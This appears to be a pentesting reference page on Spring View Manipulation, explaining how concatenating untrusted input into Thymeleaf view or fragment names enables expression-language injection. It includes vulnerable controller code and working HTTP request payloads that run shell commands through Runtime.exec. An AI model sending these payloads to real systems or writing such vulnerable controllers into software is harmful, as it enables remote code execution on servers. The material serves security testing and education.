Spring View Manipulation

Theory

Spring application that uses Thymeleaf as its templating engine, if template name or fragment is concatenated with untrusted data, it can lead to expression language injection and hence RCE.

Practice

Untrusted Thymeleaf view name

If Thymeleaf view engine is used (the most popular for Spring), the template might look like this one:

<!DOCTYPE HTML>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<div th:fragment="header">
    <h3>Spring Boot Web Thymeleaf Example</h3>
</div>
<div th:fragment="main">
    <span th:text="'Hello, ' + ${message}"></span>
</div>
</html>

Thymeleaf engine supports file layouts, that allows you to specify a fragment in the template by using <div th:fragment="main"> and then request only this fragment from the view:

@GetMapping("/main")
public String fragment() {
    return "welcome :: main";
}

Thymeleaf is intelligent enough to return only the main div from the welcome view, but not the whole document.

Before loading the template from the filesystem, Spring ThymeleafView class parses the template name as an expression:

try {
   // By parsing it as a standard expression, we might profit from the expression cache
   fragmentExpression = (FragmentExpression) parser.parseExpression(context, "~{" + viewTemplateName + "}");
}

As a result, if template name or fragment is concatenated with untrusted data, it can lead to expression language injection and hence RCE.

This exploit uses expression preprocessing. In order for the expression to be executed by the Thymeleaf, no matter what prefixes or suffixes are, it is necessary to surround it with __${ and }__::.x.

For instance, the following methods are vulnerable to expression language injection:

@GetMapping("/path")
public String path(@RequestParam String lang) {
    // potential path traversal, but limited to the 'templates' folder
    return "user/" + lang + "/welcome";
}

@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
    return "welcome :: " + section;
}

The following request creates the executed file on the server:

GET /path?lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x HTTP/1.1
Host: vulnerable-website.com

Untrusted implicit view name

Controllers do not always return strings that explicitly tell Spring what view name to use. As described in the documentation, for some return types such as void, java.util.Map or org.springframework.ui.Model, the view name is implicitly determined through a RequestToViewNameTranslator.

This means that at first glance such a controller may seem completely innocent, it does almost nothing, but since Spring does not know which view name to use, it takes it from the request URI.

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
    log.info("Retrieving " + document);
}

Specifically, DefaultRequestToViewNameTranslator does the following:

/**
 * Translates the request URI of the incoming {@link HttpServletRequest}
 * into the view name based on the configured parameters.
 * @see org.springframework.web.util.UrlPathHelper#getLookupPathForRequest
 * @see #transformPath
 */
@Override
public String getViewName(HttpServletRequest request) {
    String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
    return (this.prefix + transformPath(lookupPath) + this.suffix);
}

So, it becomes vulnerable because the user controlled data (URI) comes in directly to view name and is resolved as an expression:

GET /doc/__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x HTTP/1.1
Host: vulnerable-website.com

Last updated 9 months ago